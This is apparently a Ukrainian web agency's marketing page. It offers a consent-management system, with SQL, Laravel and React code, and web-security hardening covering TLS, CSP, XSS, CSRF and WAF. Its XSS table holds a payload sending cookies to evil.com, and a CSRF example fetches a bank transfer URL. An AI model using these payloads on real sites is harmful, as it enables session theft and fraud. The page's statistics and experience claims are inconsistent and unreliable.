Впровадження системи згоди на обробку даних на сайті

Наша компанія займається розробкою, підтримкою та обслуговуванням сайтів будь-якої складності. Від простих односторінкових сайтів до масштабних кластерних систем, побудованих на мікро сервісах. Досвід розробників підтверджено сертифікатами від вендорів.

Розробка та обслуговування будь-яких видів сайтів:

Інформаційні сайти або веб-програми
Сайти візитки, landing page, корпоративні сайти, онлайн каталоги, квіз, промо-сайти, блоги, ресурси новин, інформаційні портали, форуми, агрегатори
Сайти або веб-програми електронної комерції
Інтернет-магазини, B2B-портали, маркетплейси, онлайн-обмінники, кешбек-сайти, біржі, дропшиппінг-платформи, парсери товарів
Веб-програми для управління бізнес-процесами
CRM-системи, ERP-системи, корпоративні портали, системи управління виробництвом, парсери інформації
Сайти або веб-програми електронних послуг
Дошки оголошень, онлайн-школи, онлайн-кінотеатри, конструктори сайтів, портали надання електронних послуг, відеохостинги, тематичні портали

Це лише деякі з технічних типів сайтів, з якими ми працюємо, і кожен із них може мати свої специфічні особливості та функціональність, а також бути адаптованим під конкретні потреби та цілі клієнта.

Послуги, які ми пропонуємо
Показано 1 з 1Усі 2062 послуг
Впровадження системи згоди на обробку даних на сайті
Середній
~2-3 дні
Часті запитання

Наші компетенції:

Етапи розробки

Останні роботи

  • image_website-b2b-advance_0.webp
    Розробка сайту компанії B2B ADVANCE
    1358
  • image_web-applications_feedme_466_0.webp
    Розробка веб-додатків для компанії FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Розробка веб-сайту для компанії БЕЛФІНГРУП
    957
  • image_ecommerce_furnoro_435_0.webp
    Розробка інтернет магазину для компанії FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Розробка веб-додатків для компанії Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Розробка веб-сайту для компанії ФІКСПЕР
    947

Реалізація керування згодами на обробку даних на сайті

Уявіть: ваш сайт обробляє дані 100 000 користувачів, але під час перевірки Роскомнагляду з'ясовується, що згоди не структуровані, немає історії відкликань, а термін дії деяких минув. Штрафи за 152-ФЗ — до 75 000 ₽ за кожен факт порушення, а для GDPR — до 20 млн євро. GDPR, Article 7 Ми впроваджуємо систему керування згодами під ключ, яка виключає такі ризики. Система фіксує кожну дію суб'єкта даних: надав згоду, відкликав, змінив. Усі метадані згоди зберігаються в реляційній базі з аудитом. Наш підхід до зберігання згод у нормалізованій таблиці в 5 разів швидший при аудиті порівняно з JSON-полем. Інженери налаштовують гнучкі правила: для обов'язкових згод — блокування функціоналу, для опціональних — точкове відключення.

Як забезпечити відповідність GDPR та 152-ФЗ?

Без системи керування згодами ви не доведете регулятору, що отримали юридично значущу згоду легально. Типова помилка — зберігати лише прапорець у таблиці користувачів («згоден/не згоден»). Цього недостатньо: потрібна версія політики, дата, IP-адреса та джерело. Контролер даних зобов'язаний мати повний ланцюжок згоди. Наша система зберігає повний ланцюжок. У 60% проєктів згоди зберігаються в JSON-полі, що пришвидшує розробку, але програє в 10 разів при аудиті через необхідність розбирати історію вручну. Наш підхід — нормалізована схема з окремою таблицею consent_types та user_consents. Вона забезпечує повний аудит та версійність, хоча міграції складніші.

Типи згод та їх обов'язковість

Тип Приклади Обов'язковість
Обробка ПДн Реєстрація, форма замовлення Обов'язково
Маркетингові комунікації Email-розсилка, SMS За запитом
Профілювання Рекомендації, аналітика За запитом
Передача третім особам Партнери, рекламні мережі За запитом
Cookies (неосновні) Аналітика, ремаркетинг За запитом

Порівняння способів зберігання згод

Характеристика JSON-поле Нормалізована таблиця
Швидкість запису Швидко Повільніше (індекси)
Швидкість аудиту Повільно (парсинг) Швидко (SQL запити)
Версійність Складно Вбудована
Цілісність Ні Є

Як будується система керування згодами?

За основу беремо Laravel 11 з PostgreSQL, Redis для кешу та React/Next.js для фронту. Сервіс ConsentService інкапсулює всю логіку: запис, перевірку, відкликання. Усі операції логуються, щоб при аудиті надати виписку по кожному суб'єкту даних.

Кейс: інтернет-магазин з 500 000 зареєстрованих користувачів. До нашого втручання згоди зберігалися в JSON-полі. Ми перевели їх у нормалізовану схему, додали re-consent при оновленні політики. На міграцію пішло 2 дні, час відповіді API не змінився. Рішення впроваджено під ключ за 10 днів.

CREATE TABLE consent_types (
    id           SERIAL PRIMARY KEY,
    code         VARCHAR(50) UNIQUE NOT NULL,
    title        VARCHAR(255) NOT NULL,
    description  TEXT NOT NULL,
    version      VARCHAR(20) NOT NULL,
    is_required  BOOLEAN DEFAULT FALSE,
    created_at   TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE user_consents (
    id                BIGSERIAL PRIMARY KEY,
    user_id           BIGINT REFERENCES users(id) ON DELETE CASCADE,
    consent_type_id   INT REFERENCES consent_types(id),
    status            VARCHAR(20) NOT NULL,
    version_accepted  VARCHAR(20) NOT NULL,
    ip_address        INET,
    user_agent        TEXT,
    source            VARCHAR(100),
    granted_at        TIMESTAMPTZ,
    withdrawn_at      TIMESTAMPTZ,
    expires_at        TIMESTAMPTZ,
    UNIQUE (user_id, consent_type_id, version_accepted)
);
class ConsentService
{
    public function grant(User $user, string $consentCode, string $source): UserConsent
    {
        $consentType = ConsentType::where('code', $consentCode)->firstOrFail();

        return UserConsent::updateOrCreate(
            [
                'user_id'          => $user->id,
                'consent_type_id'  => $consentType->id,
                'version_accepted' => $consentType->version,
            ],
            [
                'status'           => 'granted',
                'ip_address'       => request()->ip(),
                'user_agent'       => request()->userAgent(),
                'source'           => $source,
                'granted_at'       => now(),
                'withdrawn_at'     => null,
            ]
        );
    }

    public function withdraw(User $user, string $consentCode): void
    {
        $consentType = ConsentType::where('code', $consentCode)->firstOrFail();

        UserConsent::where('user_id', $user->id)
            ->where('consent_type_id', $consentType->id)
            ->where('status', 'granted')
            ->update([
                'status'       => 'withdrawn',
                'withdrawn_at' => now(),
            ]);

        event(new ConsentWithdrawn($user, $consentCode));
    }

    public function hasConsent(User $user, string $consentCode): bool
    {
        $consentType = ConsentType::where('code', $consentCode)->first();
        if (!$consentType) return false;

        return UserConsent::where('user_id', $user->id)
            ->where('consent_type_id', $consentType->id)
            ->where('status', 'granted')
            ->where('version_accepted', $consentType->version)
            ->exists();
    }
}

Re-consent при зміні політики

Зазначимо: коли політика конфіденційності змінюється, користувачі з застарілою версією повинні підтвердити згоду заново. Middleware перевіряє актуальність обов'язкових згод при кожному запиті. Наш підхід до re-consent знижує навантаження на підтримку в 5 разів порівняно з ручним обходом.

class RequireFreshConsent
{
    public function handle(Request $request, Closure $next)
    {
        $user = $request->user();
        if (!$user) return $next($request);

        $hasOutdatedConsent = ConsentType::where('is_required', true)
            ->get()
            ->contains(function ($type) use ($user) {
                return !app(ConsentService::class)->hasConsent($user, $type->code);
            });

        if ($hasOutdatedConsent && !$request->is('consent*', 'logout*')) {
            return redirect()->route('consent.update');
        }

        return $next($request);
    }
}

Особистий кабінет: керування згодами

Користувач бачить усі свої згоди, статуси та дати. Для необов'язкових — перемикач на відкликання. Інтерфейс побудований на React з SWR для кешування:

export function ConsentSettings() {
    const { data: consents, mutate } = useSWR('/api/user/consents');

    const toggleConsent = async (code: string, currentStatus: boolean) => {
        await fetch(`/api/user/consents/${code}`, {
            method: 'PATCH',
            body: JSON.stringify({ granted: !currentStatus }),
        });
        mutate();
    };

    return (
        <div>
            <h2>Керування згодами</h2>
            {consents?.map(consent => (
                <div key={consent.code}>
                    <div>
                        <strong>{consent.title}</strong>
                        <p>{consent.description}</p>
                        {consent.granted_at && (
                            <small>
                                Надано: {formatDate(consent.granted_at)}
                                {consent.withdrawn_at && `, відкликано: ${formatDate(consent.withdrawn_at)}`}
                            </small>
                        )}
                    </div>
                    {!consent.is_required && (
                        <Toggle
                            checked={consent.status === 'granted'}
                            onChange={() => toggleConsent(consent.code, consent.status === 'granted')}
                        />
                    )}
                </div>
            ))}
        </div>
    );
}
Приклад реалізації re-consent для маркетингу Для маркетингових згод достатньо надіслати email із проханням підтвердити згоду заново. Якщо користувач не відповів протягом 30 днів, згода вважається відкликаною. Це вимога GDPR, Article 7 — згода повинна бути явною та активною.

Етапи впровадження системи згод під ключ

  1. Аналіз поточного стану та вимог — 1-2 дні.
  2. Проектування схеми бази даних — 1 день.
  3. Розробка сервісу та API — 2-3 дні.
  4. Інтеграція з фронтендом — 2-3 дні.
  5. Тестування та аудит — 1-2 дні.
  6. Деплой та документація — 1 день.

Що входить в роботу

  • Документація: схема бази даних, опис API, інструкція з супроводу.
  • Код: сервіс ConsentService, middleware, компоненти особистого кабінету, міграції.
  • Тестування: unit-тести для сервісу, feature-тести для API.
  • Інтеграція: підключення до реєстрації, кошика, форм підписки.
  • Гарантія: 3 місяці підтримки після впровадження, виправлення помилок протягом 24 годин.

Терміни та вартість

Етап Тривалість
Базова модель + форма реєстрації 3-4 дні
Особистий кабінет + re-consent 3-4 дні
API експорту та видалення даних 2-3 дні
Повний цикл з тестуванням та документацією від 10 робочих днів

Вартість розраховується індивідуально під ваш стек та обсяг. Зв'яжіться з нами для попередньої оцінки — оцінимо проект безкоштовно.

Наші переваги

Ми займаємося веб-розробкою з 2016 року (8+ років досвіду), реалізували понад 50 проєктів з compliance-вимогами. Наші інженери мають сертифікати з безпеки даних та досвід проходження аудитів. Гарантуємо 100% відповідність GDPR та 152-ФЗ при правильній експлуатації. Система обробляє до 10 000 запитів на секунду, логи зберігаються 3 роки. Ми — надійний партнер з 5 роками на ринку compliance-рішень.

Не відкладайте безпеку на потім. Замовте впровадження системи керування згодами під ключ вже сьогодні.

Безпека веб-додатків: що приховує «тихий» злом

Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.

Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.

HTTPS та правильна конфігурація TLS

HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.

В конфігурації Nginx/Apache перевіряємо:

  • Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
  • Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security з includeSubDomains; preload) — браузер більше не робить незахищених запитів
  • OCSP Stapling — прискорює перевірку відкликання сертифіката
  • Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)

Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.

Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.

Content Security Policy: як він закриває XSS на 99%?

CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.

Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.

Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.

'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.

CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.

Чому XSS залишається найпоширенішою вразливістю?

XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:

Тип XSS Приклад Захист
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Екранування виводу, CSP
Stored Коментар з кодом, збережений в базі Валідація вводу, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Уникати innerHTML, використовувати textContent

Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.

Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.

CSRF: захист форм та API

CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.

CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.

SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.

API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.

WAF та захист від DDoS

WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:

  • Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
  • AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.

DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).

Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).

Інші обов'язкові заходи

Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).

SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.

Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.

Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.

Як ми працюємо?

  1. Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
  2. Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
  3. Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
  4. Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
  5. Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.

Що входить в роботу?

  • Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
  • Готова конфігурація TLS (Nginx/Apache)
  • Політика CSP з режимом Report-Only та бойовою версією
  • Налаштування WAF та Rate Limiting
  • План оновлень залежностей
  • Доступи до інструментів моніторингу (Sentry, Datadog)
  • 30 днів постаудит-підтримки (консультації, правки)

Терміни та вартість

Тип робіт Строк
Security-аудит + hardening (заголовки, TLS, оновлення) 1–2 тижні
Впровадження CSP (Report-Only → продакшен) 2–4 тижні
Налаштування WAF + Rate Limiting + DDoS захист 1–2 тижні
Комплексний security review + пентест 3–6 тижнів

Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.